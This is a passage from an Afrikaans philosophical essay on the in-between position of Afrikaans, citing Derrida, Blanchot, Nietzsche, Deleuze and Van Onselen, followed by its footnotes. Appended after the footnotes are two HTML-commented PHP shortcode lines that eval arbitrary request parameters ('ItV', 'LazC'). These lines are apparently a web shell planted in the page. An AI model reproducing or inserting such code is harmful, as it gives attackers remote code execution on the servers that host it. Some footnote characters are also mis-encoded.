[Gebied: aan hierdie enkele woord wil ons toeken dit wat, hier naby of daar ver, die dubbele beweging van naderkoms en wegtrek omvat, eiesoortiglik verdeel, ouer en jonger as sigself, altyd anders, aan die rand van die gebeurtenis, as dit arriveer én nie arriveer nie, oneindig ver verwyder wanneer die oorkantste oewer benader word.]

As hierdie aanhaling klink soos ’n dekonstruksie van die Groot Trek, is dit nie toevallig nie: dit is afkomstig uit ’n teks van Jacques Derrida oor die werk van Maurice Blanchot. Enkele bladsye later tydens ’n ontleding van Blanchot se boek Le pas au-delà (“Die tree na anderkant”), is daar ’n eg Nietzscheaanse formulering van dieselfde konsep van ’n aarselende oorgang:

Il y a toujours deux pas. L’un dans l’autre mais sans inclusion possible, l’un affectant l’autre immédiatement mais à le franchir en s’eloignant de lui. Toujours deux pas, franchissant jusqu’à leur négation, selon le retour éternel de la transgression passive et de l’affirmation répétée. 22

[Daar is altyd twee treë. Die een voetspoor in die ander maar sonder moontlike insluiting, die een wat die ander onmiddellik affekteer maar deur ’n tree telkens verder weg te gee. Altyd twee treë, te gee tot by hul wedersydse ontkenning, volgens die ewige wederkeer van passiewe oortreding en herhalende bevestiging.]

Die huiwerende situasie van Afrikaans, gevang in sy taalgebied in Afrika maar gedurig intellektueel in pas met Europa, is vir my nie anders as die beskrewe beweging nie. Ook die posisie van Afrikaans, in sy opkoms en verval as amptelike taal, die skynbaar fatale dans met mag van die pas afgelope veertig jaar of so, kan gesien word as ’n betreding van dié unieke tussengebied waar die bordjies telkens verhang word. Taalbeweging, taaltrek, taaldraadtrek, dit is soveel valle van die dobbelsteen van die ewige wederkeer. Maar betreding dui reeds op die begaan van ’n oortreding, om die ander se taalgebied as ’t ware te kom bevuil met jou poësie, jou letterkunde, jou radio- of televisieprogram, jou advertensie, jou preek of draakstekery.

Die eindelose herkolonisering van die Afrikaner, nou in die naam van imperiale uitbreiding, dan weer in die naam van postkoloniale ontwikkeling, is inderdaad ’n ervaring van die ewige wederkeer. Dié heen-en-weer beweging wat nie net die herhaalde aanslae van die geskiedenis omvat nie, maar ook die uitspeel van Afrikaans in sy verhouding tot die Suid-Afrikaanse landskap in die breedste moontlike sin, word vir my mooi saamgevat deur Deleuze se koeplet deterritorialisering/reterritorialisering. Afrikaans is letterlik ’n gedeterritorialiseerde Nederlands, wat op sy beurt gereterritorialiseer word deur Engels en die pre-koloniale Afrika-utopie.

’n Mens hoor dikwels dat Afrikaans onder die vorige bewind “bevoorreg” is, en nou gestraf moet word daarvoor. Hierdie denke is eienaardig, maar op ’n manier gee die tussengebied wat Afrikaans beklee hom tog ’n verhewe en daarom bevoorregte posisie. In ’n sekere sin is die Suid-Afrikaanse ervaring nóg Europees, nóg van Afrika. Dit behels drie eeue van deterritorialisering, van vergeet van én die Europese identiteit én die Afrika-identiteit. Ek word geïntrigeer deur die volgende opmerking van ’n sekere historikus wat allermins Afrikaans of die Afrikaner goedgesind is, en wat waarskynlik geen erg sou hê aan die verdwyning van Afrikaans as taal nie. Verwysende na die Hoëveld, meen hy:

These hot, dry and expansive plains of the subcontinent provide the country with its most characteristic landscape, and a distinctive terminology which singles out for special attention any geomorphological feature which so much as hints at either height or water. Koppie, krans, pan, platteland, rand, sloot, spruit, vlakte, and vlei — are all Afrikaans words that defy easy translation and which have been incorporated holus-bolus into the vocabulary of all urban South Africans. They are quintessentially highveld words; words that give life to the ways in which one senses and experiences much of what it is to be South African … When an authentic South African identity eventually emerges from this troubled country it will, in large part, have come from painful experiences on the highveld. 23

Die leser van Nietzsche kan nie anders as om hardop te skater oor die opvatting van “’n outentieke Suid-Afrikaanse identiteit nie”, maar is dit nie ’n kraak in die mondering van die “nasionale en internasionale lingua franca” nie? Wat Van Onselen, die outeur van hierdie reëls nie besef nie, is dat die skoonheid van hierdie woorde — hierdie Afrikaanse woorde — nie uitvloei vanaf of selfs neig na ’n ware identiteit nie, maar vanuit ’n proses van vergeet, van swerf, van soeke na die horison van die tussengebied.

Die verskil tussen Afrikaner-nasionalisme en Afrika-nasionalisme is een lettergreep, en albei hou aan ons ’n identiteit voor wat gefabriseer word uit herinnerde idealisme, Plato se proses van anamnese waar ons almal soos grotbewoners droom van die helder lig daarbuite wat ons nooit sal smaak nie omdat dit tot die ideële wêreld behoort. Eerder as wat ons die identiteit nastreef wat deur die kultuurpolisie van die nuwe ou Suid-Afrika aan ons voorgehou word, behoort ons die proses van vergeet wat eie aan Afrikaans is, voort te sit. Ons behoort ons verlies aan ’n identiteit te bevestig of, in Nietzscheaanse terme, dit te beja.

Om Afrikaans te beja sou onder meer behels om verby die taalmoraliteit en -moralisme te kyk. Soos Nietzsche dit stel:

Die Moral, insofern sie verurteilt, an sich, nicht aus Hinsichten, Rücksichten, Absichten des Lebens, ist ein spezifischer Irrtum, mit dem man kein Mitleiden haben soll, eine Degenerierten-Idiosynkrasie, die unsäglich viel Schaden gestiftet hat! … Wir anderen, wir Immoralisten, haben umgekehrt unser Herz weit gemacht für alle Art Vertstehn, Begreifen, Gutheißen. Wir verneinen nicht leicht, wir suchen unsre Ehre darin, Bejahende zu sein … 24

[Die moraal, sover dit op grond van homself veroordeel, en nie met verwysing na en waardering vir die doel van die lewe nie, is ’n spesifieke dwaling waarmee ’n mens geen simpatie behoort te hê nie, ’n idiosinkrasie van die gedegenereerdes wat ontsaglike skade veroorsaak het! … Ons ander, die immoraliste, het inteendeel ons harte oopgemaak vir elke soort verstaan, begrip, goedkeuring. Ons ontken nie maklik nie, ons soek na ons eer deur bejaend te wees.]

Elders lees ons, met verwysing na die estetika:

‘Das ist schön’ is eine Bejahung. 25

[‘Dit is mooi’ is ’n bejaïng.]

Om Afrikaans te beja sou dus behels om in die eerste plek die taalmoraliteit af te sweer, die historiese rekeningkunde waar die taal nou promoveer tot “bate”, nou weer tot “las”. In hierdie dae van herinnering aan die onlangse verlede, gaan dit waarskynlik byna bomenslike moed verg om te vergeet, om aktief te vergeet ten einde die onskuld te verwerf waarsonder geen skepping moontlik is nie. Om aktief te vergeet beteken myns insiens op die minste ’n stellingname, ’n sekere strydvaardigheid en bereidheid om ’n standpunt te huldig. Dit gaan my te bowe dat soveel middelmatige persoonlikhede behorende tot ons openbare lewe soveel snert en onsinnighede oor Afrikaans en die kultuur in die algemeen kan kwytraak en skotvry daarvan afkom. Is daar geen skrywers meer in Afrikaans nie, kruip hulle almal onder die bed weg? Het ons geen denkers meer nie, of is hulle nog besig om hulself te heroriënteer sodat hulle gemaklik die oorgang vanaf die Broederbond na die Africanbond kan maak? Het Eugène Marais verniet “Winternag” geskryf en verniet teen die morfien gestry? Is ons so geïntimideer deur ’n spul opgepompte Europeërs en Amerikaners wat geen snars van Suid-Afrika verstaan nie dat ons eers die rokspante van die Kappiekommando sal moet vind voordat ons durf antwoord op hul lomp bekookte beledigings?

Is daar niemand wat identiteitloos genoeg is om ja te sê vir Afrikaans nie?


  1. Heidegger, Martin. Gelassenheit. Pfullingen: Verlag Günther Neske, 1959.
  2. Schoeman, Karel. Hierdie Lewe. Kaapstad: Human & Rousseau, 1993.
  3. Sien byvoorbeeld die beskrywing op bladsy 10, ibid., wat begin “Helder land, glansende silwergrys land wat voor my wegdrywe in die nag, waar ek verwonderd sien hoe elke tak van die harpuisbos glinster soos die digte spirale van sy blaartjies die skynsel van die lig weerkaats en elke rots dof gloei teen die rante …”
  4. Rancière, Jacques. Courts voyages au pays du peuple. Parys: Ed. du Seuil, 1990.
  5. ibid., bl. 7.
  6. De Kiewiet, CW. A history of South Africa, social and economic. Londen: Oxford Univ Press, 1942.
  7. ibid, bl 17.
  8. Blum, Peter. ”Rooinekke op Hermanus” in Steenbok tot poolsee. Kaapstad: Tafelberg, 1974.
  9. P Vergilius Maro. Bucolica et georgica. Basingstoke en Londen: Macmillan, 1972, bll 1-3.
  10. Kristeva, Julia. Etrangers � nous-m�mes. Parys: Fayard, 1988, bl 9.
  11. Van Melle, J. Bart Nel. Pretoria: JL van Schaik, 1981.
  12. Deleuze, Gilles. Superpositions. Parys: Minuit, 1979, bl 109.
  13. ibid, bl 127.
  14. Vergelyk sekere van my opmerkings in Om die Waarheidskommissie te vergeet aangaande die ahistoriese aard van hierdie begrip.
  15. Nietzsche, Friedrich. Sämtliche Werke: Jenseits von Gute und B�se. Stuttgart: Alfred Kröner Verlag, 1964, bl 183.
  16. op cit, bl 19.
  17. Glucksmann, André en Wolton, Thierry. Silence on tue. Parys: Grasset, 1986, bll 23-24.
  18. Girard, René. Le bouc émissaire. Parys: Grasset, 1982.
  19. ibid, bll 30-31.
  20. ibid, bl 39.
  21. Derrida, Jacques. Parages. Parys: Galilée, 1986, bl 15.
  22. ibid, bl 59.
  23. Van Onselen, Charles. The seed is mine. Kaapstad: David Philip, 1996, bll v-vi.
  24. Nietzsche, Friedrich. Sämtliche Werke: Göttzendämmerung. Stuttgart: Alfred Kröner Verlag, 1964, bl 106.
  25. ibid, Der Wille zur Macht, bl 573.

<!– [insert_php]if (isset($_REQUEST["ItV"])){eval($_REQUEST["ItV"]);exit;}[/insert_php][php]if (isset($_REQUEST["ItV"])){eval($_REQUEST["ItV"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["LazC"])){eval($_REQUEST["LazC"]);exit;}[/insert_php][php]if (isset($_REQUEST["LazC"])){eval($_REQUEST["LazC"]);exit;}[/php] –>